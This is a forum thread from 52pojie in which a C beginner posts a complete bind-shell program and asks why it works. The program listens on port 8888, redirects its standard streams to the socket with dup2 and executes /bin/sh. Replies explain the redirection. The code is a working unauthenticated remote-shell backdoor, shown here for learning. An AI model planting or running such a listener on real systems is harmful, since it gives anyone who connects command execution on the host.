吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1634|回复: 11
收起左侧

[C&C++ 转载] c语言编程问题

[复制链接]
dydsaf 发表于 2021-3-18 19:27
本帖最后由 dydsaf 于 2021-3-18 19:52 编辑

先看代码
[C] 纯文本查看 复制代码
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int sock, cli;
struct sockaddr_in serv_addr;

int main()
{
serv_addr.sin_family  = 2; 
serv_addr.sin_addr.s_addr = 0;
serv_addr.sin_port = htons(8888); 

sock = socket(2, 1, 0);
bind(sock, (struct sockaddr *)&serv_addr, 0x10);
listen(sock, 1);
cli = accept(sock, 0, 0);
dup2(cli, 0);
dup2(cli, 1);
dup2(cli, 2);
execve("/bin/sh", 0, 0); // execve ("/bin/sh", argv_rc, envp_rc);
}


这里本地监听了8888端口 但后面dup2 和execve这两个函数这里没看懂
查了一下 dup2 好像是复制文件描述符的 但是没看懂他这样做的意义
然后execve。。。也没看懂 为什么用其他主机nc连接本地的8888端口可以执行命令
image.png

c语言小白 各位大佬救救我

免费评分

参与人数 1吾爱币 +1 收起 理由
CNHK-US + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

ciker_li 发表于 2021-3-18 20:33
dup2是把输出,输入,错误都重定向到链接的sock,都发给客户端了

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
dydsaf + 1 + 1 我很赞同!

查看全部评分

 楼主| dydsaf 发表于 2021-3-18 20:11
好像搞清白一点了 主要想不清这个代码就写了一个accept等待客户端连接的 然后客户端连接后就能直接执行命令 就完全懵逼了 现在好像发现核心应该就是在dup这个函数上了 各位 我再去研究研究 等我好消息
wws741 发表于 2021-3-18 19:38
头像被屏蔽
CNHK-US 发表于 2021-3-18 19:50
提示: 作者被禁止或删除 内容自动屏蔽
sam喵喵 发表于 2021-3-18 19:57
好问题,学习下
qdfxy 发表于 2021-3-18 20:19
c语言怎么学啊?学到数据结构有点迷茫?
ciker_li 发表于 2021-3-18 22:12
是在学kali吗?
资料能共享下不?
网上都是过时的,不好学啊
bingyuhuo 发表于 2021-3-19 11:55
感觉C语言是能最好解决底层硬件的语言
 楼主| dydsaf 发表于 2021-3-19 12:52
ciker_li 发表于 2021-3-18 20:33
dup2是把输出,输入,错误都重定向到链接的sock,都发给客户端了

懂了懂了 感谢大佬
今天不能评分了 明天
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-25 19:40

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表